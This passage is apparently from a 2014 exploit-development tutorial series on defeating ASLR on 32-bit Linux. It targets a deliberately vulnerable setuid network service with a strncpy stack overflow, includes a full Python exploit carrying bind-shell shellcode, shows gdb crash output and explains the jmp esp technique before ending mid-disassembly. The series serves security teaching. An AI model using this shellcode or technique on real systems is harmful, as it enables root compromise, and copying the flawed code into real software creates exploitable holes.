Beating ASLR

Posted on Mon 07 July 2014 in x86-32 Linux

Here we are going to start with the first protection I want to look at which is address space layout randomization (ASLR).

In parts 1, 2, 3 and 4 ASLR had been disabled.

ASLR basically randomizes the virtual address space of all userland applications and in more modern OSs, kernel space too.

Before ASLR, the virtual address space of an application was completely static, meaning that everything will always be at the same memory address each time the application is run.

In parts 1, 2 and 3 we've taken advantage of this by being able to predict the address that our shellcode.

This protection is slightly newer in the Linux kernel than NX, as it was first implemented in 2005 but it will introduce us to an idea which we will use much more extensively to beat NX.

The App

The application below is almost the same as the 1 in part 3 of this series:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <string.h>

#define PASS "topsecretpassword"
#define CNUM 58623
#define SFILE "secret.txt"
#define TFILE "token"
#define PORT 9999

void sendfile(int connfd, struct sockaddr_in cliaddr);
void senderror(int connfd, struct sockaddr_in cliaddr, char p[]);
void sendtoken(int connfd, struct sockaddr_in cliaddr);
int checkpass(char *p);


void main()
{
    int listenfd, connfd, n, c, r;
    struct sockaddr_in servaddr, cliaddr;
    socklen_t clilen;
    pid_t childpid;
    char pwd[1000];

    listenfd=socket(AF_INET,SOCK_STREAM,0);

    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
    servaddr.sin_port=htons(PORT);
    if ((r = bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr))) != 0) {
        printf("Error: Unable to bind to port %d\n", PORT);
        exit(1);
    }

    listen(listenfd,1024);

    for(;;) {
        clilen=sizeof(cliaddr);
        connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen);

        n = recvfrom(connfd, pwd, 1000, 0, (struct sockaddr *)&cliaddr, &clilen);
        pwd[n] = '\0';
        r = checkpass(pwd);
        if (r != 0)
            if (r != 5)
                senderror(connfd, cliaddr, pwd);
            else
                sendtoken(connfd, cliaddr);
        else
            sendfile(connfd, cliaddr);
        printf("Received the following:\n");
        printf("%s", pwd);

        close(connfd);
    }
}

void sendfile(int connfd, struct sockaddr_in cliaddr)
{
    FILE *f;
    int c;
    f = fopen(SFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
            sendto(connfd, &c, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
        fclose(f);
    } else {
        printf("Error opening file: " SFILE "\n");
        exit(1);
    }
}

void senderror(int connfd, struct sockaddr_in cliaddr, char p[])
{
    sendto(connfd, "Wrong password: ", 16 , 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
    sendto(connfd, p, strlen(p), 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
}

void sendtoken(int connfd, struct sockaddr_in cliaddr)
{
    FILE *f;
    int c;
    f = fopen(TFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
            sendto(connfd, &c, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
        fclose(f);
    } else {
        printf("Error opening file: " TFILE "\n");
        exit(1);
    }
}

int checkpass(char *a)
{
    char p[512];
    int r, i;
    strncpy(p, a, strlen(a)+1);
    i = atoi(p);
    if (i == CNUM)
        r = 5;
    else
        r = strcmp(p, PASS);
    return r;
}

The main difference here is that the input is converted to a number and if that number is equal to 58623, the contents of a different file (token) is sent to the client.

The Fix

The fix is the same as in part 3. The vulnerable code is the call to strncpy on line 102.

Setting Up The Environment

The environment is going to be exactly the same as in part 3, except we have a new file and ASLR will be enabled.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
root@dev:~# adduser appuser
Adding user `appuser' ...
Adding new group `appuser' (1002) ...
Adding new user `appuser' (1002) with group `appuser' ...
Creating home directory `/home/appuser' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
Changing the user information for testuser
Enter the new value, or press ENTER for the default
 Full Name []: 
 Room Number []: 
 Work Phone []: 
 Home Phone []: 
 Other []: 
Is the information correct? [Y/n]
root@dev:~# ls
app-net.c
root@dev:~# gcc -z execstack -fno-stack-protector -o app-net app-net.c
root@dev:~# cp app-net /home/appuser/
root@dev:~# cat /proc/sys/kernel/randomize_va_space
2
root@dev:/home/appuser# ls -l
total 12
-rwxr-xr-x 1 root root 8431 Jul  7 22:01 app-net
root@dev:/home/appuser# chmod u+s app-net 
root@dev:/home/appuser# ls -l
total 12
-rwsr-xr-x 1 root root 8431 Jul  7 22:01 app-net
root@dev:/home/appuser# echo 'This is a top secret file!
Only people with the password should be able to view this file!' > secret.txt
root@dev:/home/appuser# ls -l secret.txt
-rw-r--r-- 1 root root 93 Jul  7 22:02 secret.txt
root@dev:/home/appuser# chmod 600 secret.txt
root@dev:/home/appuser# ls -l secret.txt
-rw------- 1 root root 93 Jul  7 22:02 secret.txt
root@dev:/home/appuser# cat secret.txt 
This is a top secret file!
Only people with the password should be able to view this file!
root@dev:/home/appuser# echo "084934-3492048234728-4847847" > token
root@dev:/home/appuser# ls -l token 
-rw-r--r-- 1 root root 29 Jul  7 22:03 token
root@dev:/home/appuser# chmod 600 token 
root@dev:/home/appuser# cat token 
084934-3492048234728-4847847
root@dev:/home/appuser# su - appuser
appuser@dev:~$ ls -l
total 20
-rwsr-xr-x 1 root root 8431 Jul  7 22:01 app-net
-rw------- 1 root root   93 Jul  7 22:02 secret.txt
-rw------- 1 root root   29 Jul  7 22:03 token
appuser@dev:~$ cat secret.txt
cat: secret.txt: Permission denied
appuser@dev:~$ cat token
cat: token: Permission denied

The big difference here is that we did not change the content of the file /proc/sys/kernel/randomize_va_space, if the value of this wasn't 2, then run the following command to change it: echo 2 > /proc/sys/kernel/randomize_va_space

This means that ASLR will be enabled. We can prove this by looking at the memory map of a process over multiple executions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
appuser@dev:~$ cat /proc/self/maps
08048000-08054000 r-xp 00000000 08:01 783374     /bin/cat
08054000-08055000 r--p 0000b000 08:01 783374     /bin/cat
08055000-08056000 rw-p 0000c000 08:01 783374     /bin/cat
0838a000-083ab000 rw-p 00000000 00:00 0          [heap]
b74e9000-b7528000 r--p 00000000 08:01 1066328    /usr/lib/locale/pap_AN/LC_CTYPE
b7528000-b7646000 r--p 00000000 08:01 1066368    /usr/lib/locale/pap_AN/LC_COLLATE
b7646000-b7647000 rw-p 00000000 00:00 0 
b7647000-b77a4000 r-xp 00000000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b77a4000-b77a5000 ---p 0015d000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b77a5000-b77a7000 r--p 0015d000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b77a7000-b77a8000 rw-p 0015f000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b77a8000-b77ab000 rw-p 00000000 00:00 0 
b77b7000-b77b8000 r--p 00000000 08:01 961741     /usr/lib/locale/gez_ET@abegede/LC_NUMERIC
b77b8000-b77b9000 r--p 00000000 08:01 962466     /usr/lib/locale/en_ZM/LC_TIME
b77b9000-b77ba000 r--p 00000000 08:01 962019     /usr/lib/locale/gv_GB.utf8/LC_MONETARY
b77ba000-b77bb000 r--p 00000000 08:01 1071064    /usr/lib/locale/ne_NP/LC_MESSAGES/SYS_LC_MESSAGES
b77bb000-b77bc000 r--p 00000000 08:01 1065713    /usr/lib/locale/sr_RS/LC_PAPER
b77bc000-b77bd000 r--p 00000000 08:01 962122     /usr/lib/locale/cy_GB.utf8/LC_NAME
b77bd000-b77be000 r--p 00000000 08:01 962015     /usr/lib/locale/gv_GB.utf8/LC_ADDRESS
b77be000-b77bf000 r--p 00000000 08:01 962121     /usr/lib/locale/cy_GB.utf8/LC_TELEPHONE
b77bf000-b77c0000 r--p 00000000 08:01 1066122    /usr/lib/locale/sr_RS/LC_MEASUREMENT
b77c0000-b77c7000 r--s 00000000 08:01 827509     /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache
b77c7000-b77c8000 r--p 00000000 08:01 963555     /usr/lib/locale/en_GB.utf8/LC_IDENTIFICATION
b77c8000-b77ca000 rw-p 00000000 00:00 0 
b77ca000-b77cb000 r-xp 00000000 00:00 0          [vdso]
b77cb000-b77e7000 r-xp 00000000 08:01 1062553    /lib/i386-linux-gnu/ld-2.13.so
b77e7000-b77e8000 r--p 0001b000 08:01 1062553    /lib/i386-linux-gnu/ld-2.13.so
b77e8000-b77e9000 rw-p 0001c000 08:01 1062553    /lib/i386-linux-gnu/ld-2.13.so
bfa32000-bfa53000 rw-p 00000000 00:00 0          [stack]
appuser@dev:~$ cat /proc/self/maps
08048000-08054000 r-xp 00000000 08:01 783374     /bin/cat
08054000-08055000 r--p 0000b000 08:01 783374     /bin/cat
08055000-08056000 rw-p 0000c000 08:01 783374     /bin/cat
08dd9000-08dfa000 rw-p 00000000 00:00 0          [heap]
b74de000-b751d000 r--p 00000000 08:01 1066328    /usr/lib/locale/pap_AN/LC_CTYPE
b751d000-b763b000 r--p 00000000 08:01 1066368    /usr/lib/locale/pap_AN/LC_COLLATE
b763b000-b763c000 rw-p 00000000 00:00 0 
b763c000-b7799000 r-xp 00000000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7799000-b779a000 ---p 0015d000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b779a000-b779c000 r--p 0015d000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b779c000-b779d000 rw-p 0015f000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b779d000-b77a0000 rw-p 00000000 00:00 0 
b77ac000-b77ad000 r--p 00000000 08:01 961741     /usr/lib/locale/gez_ET@abegede/LC_NUMERIC
b77ad000-b77ae000 r--p 00000000 08:01 962466     /usr/lib/locale/en_ZM/LC_TIME
b77ae000-b77af000 r--p 00000000 08:01 962019     /usr/lib/locale/gv_GB.utf8/LC_MONETARY
b77af000-b77b0000 r--p 00000000 08:01 1071064    /usr/lib/locale/ne_NP/LC_MESSAGES/SYS_LC_MESSAGES
b77b0000-b77b1000 r--p 00000000 08:01 1065713    /usr/lib/locale/sr_RS/LC_PAPER
b77b1000-b77b2000 r--p 00000000 08:01 962122     /usr/lib/locale/cy_GB.utf8/LC_NAME
b77b2000-b77b3000 r--p 00000000 08:01 962015     /usr/lib/locale/gv_GB.utf8/LC_ADDRESS
b77b3000-b77b4000 r--p 00000000 08:01 962121     /usr/lib/locale/cy_GB.utf8/LC_TELEPHONE
b77b4000-b77b5000 r--p 00000000 08:01 1066122    /usr/lib/locale/sr_RS/LC_MEASUREMENT
b77b5000-b77bc000 r--s 00000000 08:01 827509     /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache
b77bc000-b77bd000 r--p 00000000 08:01 963555     /usr/lib/locale/en_GB.utf8/LC_IDENTIFICATION
b77bd000-b77bf000 rw-p 00000000 00:00 0 
b77bf000-b77c0000 r-xp 00000000 00:00 0          [vdso]
b77c0000-b77dc000 r-xp 00000000 08:01 1062553    /lib/i386-linux-gnu/ld-2.13.so
b77dc000-b77dd000 r--p 0001b000 08:01 1062553    /lib/i386-linux-gnu/ld-2.13.so
b77dd000-b77de000 rw-p 0001c000 08:01 1062553    /lib/i386-linux-gnu/ld-2.13.so
bfad4000-bfaf5000 rw-p 00000000 00:00 0          [stack]
appuser@dev:~$ cat /proc/self/maps
08048000-08054000 r-xp 00000000 08:01 783374     /bin/cat
08054000-08055000 r--p 0000b000 08:01 783374     /bin/cat
08055000-08056000 rw-p 0000c000 08:01 783374     /bin/cat
09908000-09929000 rw-p 00000000 00:00 0          [heap]
b7435000-b7474000 r--p 00000000 08:01 1066328    /usr/lib/locale/pap_AN/LC_CTYPE
b7474000-b7592000 r--p 00000000 08:01 1066368    /usr/lib/locale/pap_AN/LC_COLLATE
b7592000-b7593000 rw-p 00000000 00:00 0 
b7593000-b76f0000 r-xp 00000000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b76f0000-b76f1000 ---p 0015d000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b76f1000-b76f3000 r--p 0015d000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b76f3000-b76f4000 rw-p 0015f000 08:01 1045302    /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b76f4000-b76f7000 rw-p 00000000 00:00 0 
b7703000-b7704000 r--p 00000000 08:01 961741     /usr/lib/locale/gez_ET@abegede/LC_NUMERIC
b7704000-b7705000 r--p 00000000 08:01 962466     /usr/lib/locale/en_ZM/LC_TIME
b7705000-b7706000 r--p 00000000 08:01 962019     /usr/lib/locale/gv_GB.utf8/LC_MONETARY
b7706000-b7707000 r--p 00000000 08:01 1071064    /usr/lib/locale/ne_NP/LC_MESSAGES/SYS_LC_MESSAGES
b7707000-b7708000 r--p 00000000 08:01 1065713    /usr/lib/locale/sr_RS/LC_PAPER
b7708000-b7709000 r--p 00000000 08:01 962122     /usr/lib/locale/cy_GB.utf8/LC_NAME
b7709000-b770a000 r--p 00000000 08:01 962015     /usr/lib/locale/gv_GB.utf8/LC_ADDRESS
b770a000-b770b000 r--p 00000000 08:01 962121     /usr/lib/locale/cy_GB.utf8/LC_TELEPHONE
b770b000-b770c000 r--p 00000000 08:01 1066122    /usr/lib/locale/sr_RS/LC_MEASUREMENT
b770c000-b7713000 r--s 00000000 08:01 827509     /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache
b7713000-b7714000 r--p 00000000 08:01 963555     /usr/lib/locale/en_GB.utf8/LC_IDENTIFICATION
b7714000-b7716000 rw-p 00000000 00:00 0 
b7716000-b7717000 r-xp 00000000 00:00 0          [vdso]
b7717000-b7733000 r-xp 00000000 08:01 1062553    /lib/i386-linux-gnu/ld-2.13.so
b7733000-b7734000 r--p 0001b000 08:01 1062553    /lib/i386-linux-gnu/ld-2.13.so
b7734000-b7735000 rw-p 0001c000 08:01 1062553    /lib/i386-linux-gnu/ld-2.13.so
bfc79000-bfc9a000 rw-p 00000000 00:00 0          [stack]

This command displays the memory ranges of each memory segment inside the cat commands own virtual memory space.

As you can see, all of the memory segments are changing their ranges except for the top 3. These top 3 belong to the actual code of the application.

This means that we can only predict memory addresses of the actual code of the application and nothing that is dynamically loaded or writable.

Every payload we have sent until now has been placed on the stack, which is at the very bottom of the memory segment list on the output and this section of memory isn't static so we can no longer predict the address of our payload (the shellcode).

Testing The App

1
appuser@dev:~$ ./app-net

We already know a lot about this application, lets try our exploit from last time:

1
2
testuser@dev:~$ python app-net-fuzz.py 
532
1
2
3
4
appuser@dev:~$ gdb -q ./app-net 
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/appuser/app-net 
1
testuser@dev:~$ python -c 'print "A"*532' | nc 127.0.0.1 9999
1
2
3
4
5
6
Program received signal SIGSEGV, Segmentation fault.
0x0804000a in ?? ()
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/appuser/app-net
1
testuser@dev:~$ python -c 'print "A"*536' | nc 127.0.0.1 9999
1
2
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
1
appuser@dev:~$ ./app-net 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@dev:~# ps ax | grep app-net
26854 pts/0    S+     0:00 ./app-net
26951 pts/2    S+     0:00 grep app-net
root@dev:~# gdb -q -p 26854
Attaching to process 26854
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb77c0424 in __kernel_vsyscall ()
(gdb) c
Continuing.
1
testuser@dev:~$ python -c 'print "A"*536' | nc 127.0.0.1 9999
1
2
3
4
5
6
7
8
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/20xw $esp
0xbfaeb670: 0xbfae000a  0xbfaeb694  0x000003e8  0x00000000
0xbfaeb680: 0xbfaeba80  0xbfaeba7c  0x000057a8  0x00000006
0xbfaeb690: 0x00001000  0x41414141  0x41414141  0x41414141
0xbfaeb6a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfaeb6b0: 0x41414141  0x41414141  0x41414141  0x41414141
1
appuser@dev:~$ ./app-net
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
testuser@dev:~$ cat app-net-exploit.py 
#!/usr/bin/env python

import socket

shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x17\x31\xdb\xcd\x80\x89\xd8\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x27\x0e\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"

payload = "\x90" * 406 # (532 - 119) - 7 = 406

payload += shellcode # append our shellcode

payload += "\x90" * 7 # another 7 bytes

payload += "\x94\xb6\xae\xbf" # the address of our shellcode
                  # in reverse (little endian)

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()
testuser@dev:~$ python app-net-exploit.py 
testuser@dev:~$ nc 127.0.0.1 9998
nc: unable to connect to address 127.0.0.1, service 9998

As you can see, the exploit that we used last time didn't work. The reason for this is because the position of the stack has moved, so the shellcode isn't at the same address everytime the application is launched.

The offset here before we start overwriting EIP is 532. I want to explain quickly why this is.

We have 3 local variables, char p[512]; (on line 100 of the source) and int r, i; (on line 101).

These variables go on to the stack in reverse order, so first (closest to the beginning of the stack frame) i, then r and lastly p.

When writes happen here they happen in the opposite direction, so a write at p will eventually overwrite r (after filling up the reserved space for p) and then i.

We are reserving 512 bytes for p, each int is 4 bytes long, so that is 520. The stack has to be aligned to 16 byte boundaries, so we need to add another 8 bytes, making it 528 bytes.

Lastly right under the local variables we have the saved EBP from the calling function, this is another 4 bytes. The return address is stored right after the saved EBP so that takes us to 532 bytes.

Returning From A Function

I explained this in much more detail in part 4 but just before a function returns, the stack looks like this:

The RET ADDR is what we are overwriting to take control of EIP. What happens next is the RET ADDR gets popped off of the stack into the EIP register and the stack then looks like this:

This means that the value of the ESP register will always point to the memory address on the stack right after we overwrite EIP, at 536 bytes into our payload (532 + 4 for EIP).

So if we write our shellcode after we overwrite EIP then we know that ESP is pointing to it.

An instruction that is fairly common among all normal sized applications is jmp esp. This instruction tells EIP to point to the address that ESP is pointing to.

Using this instruction we can execute our shellcode but first we have to find it in the application's text segment because we know it will never change address if it is in this section.

Finding JMP ESP

First let's look at the disassembly using objdump -d ./app-net -M intel:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
./app-net:     file format elf32-i386


Disassembly of section .init:

080485e0 <_init>:
 80485e0:   55                      push   ebp
 80485e1:   89 e5                   mov    ebp,esp
 80485e3:   53                      push   ebx
 80485e4:   83 ec 04                sub    esp,0x4
 80485e7:   e8 00 00 00 00          call   80485ec <_init+0xc>
 80485ec:   5b                      pop    ebx
 80485ed:   81 c3 14 0b 00 00       add    ebx,0xb14
 80485f3:   8b 93 fc ff ff ff       mov    edx,DWORD PTR [ebx-0x4]
 80485f9:   85 d2                   test   edx,edx
 80485fb:   74 05                   je     8048602 <_init+0x22>
 80485fd:   e8 ae 00 00 00          call   80486b0 <__gmon_start__@plt>
 8048602:   58                      pop    eax
 8048603:   5b                      pop    ebx
 8048604:   c9                      leave  
 8048605:   c3                      ret    

Disassembly of section .plt:

08048610 <strcmp@plt-0x10>:
 8048610:   ff 35 04 91 04 08       push   DWORD PTR ds:0x8049104
 8048616:   ff 25 08 91 04 08       jmp    DWORD PTR ds:0x8049108
 804861c:   00 00                   add    BYTE PTR [eax],al
    ...

08048620 <strcmp@plt>:
 8048620:   ff 25 0c 91 04 08       jmp    DWORD PTR ds:0x804910c
 8048626:   68 00 00 00 00          push   0x0
 804862b:   e9 e0 ff ff ff          jmp    8048610 <_init+0x30>

08048630 <printf@plt>:
 8048630:   ff 25 10 91 04 08       jmp    DWORD PTR ds:0x8049110
 8048636:   68 08 00 00 00          push   0x8
 804863b:   e9 d0 ff ff ff          jmp    8048610 <_init+0x30>

08048640 <bzero@plt>:
 8048640:   ff 25 14 91 04 08       jmp    DWORD PTR ds:0x8049114
 8048646:   68 10 00 00 00          push   0x10
 804864b:   e9 c0 ff ff ff          jmp    8048610 <_init+0x30>

08048650 <fclose@plt>:
 8048650:   ff 25 18 91 04 08       jmp    DWORD PTR ds:0x8049118
 8048656:   68 18 00 00 00          push   0x18
 804865b:   e9 b0 ff ff ff          jmp    8048610 <_init+0x30>

08048660 <recvfrom@plt>:
 8048660:   ff 25 1c 91 04 08       jmp    DWORD PTR ds:0x804911c
 8048666:   68 20 00 00 00          push   0x20
 804866b:   e9 a0 ff ff ff          jmp    8048610 <_init+0x30>

08048670 <_IO_getc@plt>:
 8048670:   ff 25 20 91 04 08       jmp    DWORD PTR ds:0x8049120
 8048676:   68 28 00 00 00          push   0x28
 804867b:   e9 90 ff ff ff          jmp    8048610 <_init+0x30>

08048680 <htons@plt>:
 8048680:   ff 25 24 91 04 08       jmp    DWORD PTR ds:0x8049124
 8048686:   68 30 00 00 00          push   0x30
 804868b:   e9 80 ff ff ff          jmp    8048610 <_init+0x30>

08048690 <accept@plt>:
 8048690:   ff 25 28 91 04 08       jmp    DWORD PTR ds:0x8049128
 8048696:   68 38 00 00 00          push   0x38
 804869b:   e9 70 ff ff ff          jmp    8048610 <_init+0x30>

080486a0 <puts@plt>:
 80486a0:   ff 25 2c 91 04 08       jmp    DWORD PTR ds:0x804912c
 80486a6:   68 40 00 00 00          push   0x40
 80486ab:   e9 60 ff ff ff          jmp    8048610 <_init+0x30>

080486b0 <__gmon_start__@plt>:
 80486b0:   ff 25 30 91 04 08       jmp    DWORD PTR ds:0x8049130
 80486b6:   68 48 00 00 00          push   0x48
 80486bb:   e9 50 ff ff ff          jmp    8048610 <_init+0x30>

080486c0 <exit@plt>:
 80486c0:   ff 25 34 91 04 08       jmp    DWORD PTR ds:0x8049134
 80486c6:   68 50 00 00 00          push   0x50
 80486cb:   e9 40 ff ff ff          jmp    8048610 <_init+0x30>

080486d0 <strlen@plt>:
 80486d0:   ff 25 38 91 04 08       jmp    DWORD PTR ds:0x8049138
 80486d6:   68 58 00 00 00          push   0x58
 80486db:   e9 30 ff ff ff          jmp    8048610 <_init+0x30>

080486e0 <__libc_start_main@plt>:
 80486e0:   ff 25 3c 91 04 08       jmp    DWORD PTR ds:0x804913c
 80486e6:   68 60 00 00 00          push   0x60
 80486eb:   e9 20 ff ff ff          jmp    8048610 <_init+0x30>

080486f0 <bind@plt>:
 80486f0:   ff 25 40 91 04 08       jmp    DWORD PTR ds:0x8049140
 80486f6:   68 68 00 00 00          push   0x68
 80486fb:   e9 10 ff ff ff          jmp    8048610 <_init+0x30>

08048700 <fopen@plt>:
 8048700:   ff 25 44 91 04 08       jmp    DWORD PTR ds:0x8049144
 8048706:   68 70 00 00 00          push   0x70
 804870b:   e9 00 ff ff ff          jmp    8048610 <_init+0x30>

08048710 <strncpy@plt>:
 8048710:   ff 25 48 91 04 08       jmp    DWORD PTR ds:0x8049148
 8048716:   68 78 00 00 00          push   0x78
 804871b:   e9 f0 fe ff ff          jmp    8048610 <_init+0x30>

08048720 <sendto@plt>:
 8048720:   ff 25 4c 91 04 08       jmp    DWORD PTR ds:0x804914c
 8048726:   68 80 00 00 00          push   0x80
 804872b:   e9 e0 fe ff ff          jmp    8048610 <_init+0x30>

08048730 <htonl@plt>:
 8048730:   ff 25 50 91 04 08       jmp    DWORD PTR ds:0x8049150
 8048736:   68 88 00 00 00          push   0x88
 804873b:   e9 d0 fe ff ff          jmp    8048610 <_init+0x30>

08048740 <listen@plt>:
 8048740:   ff 25 54 91 04 08       jmp    DWORD PTR ds:0x8049154
 8048746:   68 90 00 00 00          push   0x90
 804874b:   e9 c0 fe ff ff          jmp    8048610 <_init+0x30>

08048750 <atoi@plt>:
 8048750:   ff 25 58 91 04 08       jmp    DWORD PTR ds:0x8049158
 8048756:   68 98 00 00 00          push   0x98
 804875b:   e9 b0 fe ff ff          jmp    8048610 <_init+0x30>

08048760 <socket@plt>:
 8048760:   ff 25 5c 91 04 08       jmp    DWORD PTR ds:0x804915c
 8048766:   68 a0 00 00 00          push   0xa0
 804876b:   e9 a0 fe ff ff          jmp    8048610 <_init+0x30>

08048770 <close@plt>:
 8048770:   ff 25 60 91 04 08       jmp    DWORD PTR ds:0x8049160
 8048776:   68 a8 00 00 00          push   0xa8
 804877b:   e9 90 fe ff ff          jmp    8048610 <_init+0x30>

Disassembly of section .text:

08048780 <_start>:
 8048780:   31 ed                   xor    ebp,ebp
 8048782:   5e                      pop    esi
 8048783:   89 e1                   mov    ecx,esp
 8048785:   83 e4 f0                and    esp,0xfffffff0
 8048788:   50                      push   eax
 8048789:   54                      push   esp
 804878a:   52                      push   edx
 804878b:   68 00 8d 04 08          push   0x8048d00
 8048790:   68 10 8d 04 08          push   0x8048d10
 8048795:   51                      push   ecx
 8048796:   56                      push   esi
 8048797:   68 6c 88 04 08          push   0x804886c
 804879c:   e8 3f ff ff ff          call   80486e0 <__libc_start_main@plt>
 80487a1:   f4                      hlt    
